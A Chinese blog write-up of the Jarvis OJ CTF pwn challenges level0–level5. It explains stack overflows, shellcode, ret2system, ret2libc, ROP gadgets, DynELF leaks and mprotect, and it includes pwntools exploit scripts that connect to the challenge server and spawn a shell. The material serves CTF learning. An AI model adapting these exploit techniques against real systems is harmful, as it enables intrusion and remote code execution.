Pwn level题目

level题目 参考了好多大佬的博客 总结如下:

level0

pwn一般套路
1.找到栈溢出地址(就是搞事情的地址),基本上都是buf的地址,这个地址需要 用pwntools中的p32或p64进行转换,(若程序是32位的就用p32)才能pwntools中的sendline发送到远程连接
2.构建shellcode,用一句话就行shellcode = asm(shellcraft.sh())
3.构建payload,payload的基本构建:payload=shellcode+’a’*一个长度+p32(buf_addr),次序一定不能乱
4.最后就可以发送payload,进行交互,得到shell的控制权,然后ls ,cat flag

level0的脚本如下:

from pwn import *
s_addr=0x400596
p=remote(“pwn2.jarvisoj.com”,9881)
p.sendline(‘a’*0x80+‘a’*8+p64(s_addr))
p.interactive()

level1

level1的脚本如下:

from pwn import *
context(log_level = ‘debug’, arch = ‘i386’, os=‘linux’)
shellcode = asm(shellcraft.sh()) //可以使用checksec 查看一下有没有被保护
p = remote(‘pwn2.jarvisoj.com’,9877)
text = p.recvline()[14: -2] //找到buf的位置
buf_addr = int(text, 16) //这里的text为buf的地址,只不过是字符型的,需要 用16进制的方法转化为int型
payload = shellcode + ‘a’ * (0x88 + 0x4 - len(shellcode)) +p32(buf_addr)
p.send(payload)
p.interactive()
p.close()

level2

level2的脚本如下:

from pwn import*
system_addr=0x08048320
p =remote(‘pwn2.jarvisoj.com’,‘9878’)
sh_addr=0x0804A024
payload=‘a’*(0x88+0x4)+p32(system_addr)+p32(0)+p32(sh_addr) //注意调用一个函数结束后一定要返回 p32(0)就是system函数的返回地址
p.send(payload)
p.interactive()
p.close()

首先,我们先checksec 查看一下有没有被保护
在这里插入图片描述因为开启了nx,所以这个题目我们就不可以用shellcode来做了
这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,所以找到system的地址

在这里插入图片描述将传入参数设置成”/bin/sh”,用ida查找了一下字符串,刚好发现了”/bin/sh”,于是记录下地址
在这里插入图片描述
在这里插入图片描述
有了system和\bin\sh的地址后,就能构造payload了

level3

查询保护checksec level3 只开启了NX保护 很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。
程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能

在这里插入图片描述

进去之后

在这里插入图片描述

这就是plt表,再跟一下就进了got表项:

在这里插入图片描述

双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:

在这里插入图片描述

也就是说,不考虑第一次,GOT表存的就是真实地址!!!

先通过write泄露某函数got表的值(即某函数真实VA),然后在libc中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~
既然write()函数实现是在libc当中,那我们调用的write-plt()函数为什么也能实现write()功能呢?
这是因为linux采用了延时绑定技术,当我们调用write-plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write-plit()会根据write.got
跳转到真正的write()函数上去。

   write函数 跟进三个变量

在这里插入图片描述在这里插入图片描述bss段 是存放未初始化数据的地方 我们可以改写

注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell

level3的脚本如下:

在这里插入图片描述

level2x64

首先用checksec查一下保护,和level2一样。
那么溢出思路也和32位的差不多,唯一不同的是,64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可以做到,利用程序自己的带有pop rdi;pop rdi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。
所以这道题目的关键就是找到system bin 和rop的地址。载构造payload就可以了
在这里插入图片描述
在这里插入图片描述
通过ropgadget去找pop edi;ret的地址。
那我们就要用到一个小工具,ropgadget来找到我们需要的rop链。
ropgadget可以在汇编语言里面搜索我们需要的字符串或者命令。
在这里插入图片描述都找到了之后我们就可以构造payload了
在这里插入图片描述

level3x64

在这里插入图片描述

按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx
所以可以先跳过第三个参数(读入长度) 
写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理
在这里插入图片描述

根据网上wp,gdb在read处下断,验证rdx在此时等于0x200,只要大于8就可以。对于这点,我是这么理解的:我们是在vul函数里写入数据的,读取数据时调用了read(0, &buf, 0x200uLL),将rdx赋值0x200,后面直接就溢出到我们构造的栈了,没有修改rdx寄存器的值了,所以不用修改。

在这里插入图片描述

level4

这次并没有给libc的文件,这时候我们就要用到DynELF,这个模块的原理还是不太清楚(玄学)。利用write函数来泄露system的地址,通过泄露打印出system的地址,总之利用这个模块可以找到system的地址,但是找不到”/bin/sh”这个字符串位置,但是我们可以控制read函数,所以可以通过调用read函数,将”bin/sh”写入到bss段中,这样就得到了bin函数。于是所有条件都齐了,写得脚本。

在这里插入图片描述1.ELF函数:创建并返回一个elf文件的内存映射对象
2.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高

DynELF函数具析:
通过配合调用leak分析其泄露值以及分析传入的elf对象,可以自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组

3.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址

level5

首先去看看这个mmap函数和mprotect函数是干啥的。 void* mmap(void* addr, size_t len, int
port, int flag, int filedes, off_t off) int mprotect(void* addr,
size_t len, int port)
简单来说mmap函数创建一块内存区域,将一个文件映射到该区域,进程可以像操作内存一样操作文件。mprotect函数可以改变一块内存区域的权限(以页为单位)。至于mmap函数没有想到怎么去利用,而mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
首先,要使用mprotect函数,依然需要知道它在内存中的地址,通过level3的方法可以得到。
需要调用这个mprotect函数,我们发现它有三个参数,第一个是要设置的地址(edi),第二个是设置的长度(esi),第三个是权限值(edx),但是我们在level3中发现简单的gadgets并没有pop
edx,这时候,我们可以利用x64下的__libc_scu_init中的gadgets。

关于通用gadget可以参考如下几篇文章:
https://blog.csdn.net/github_36788573/article/details/80178146
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&ctid=157

在这里插入图片描述在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值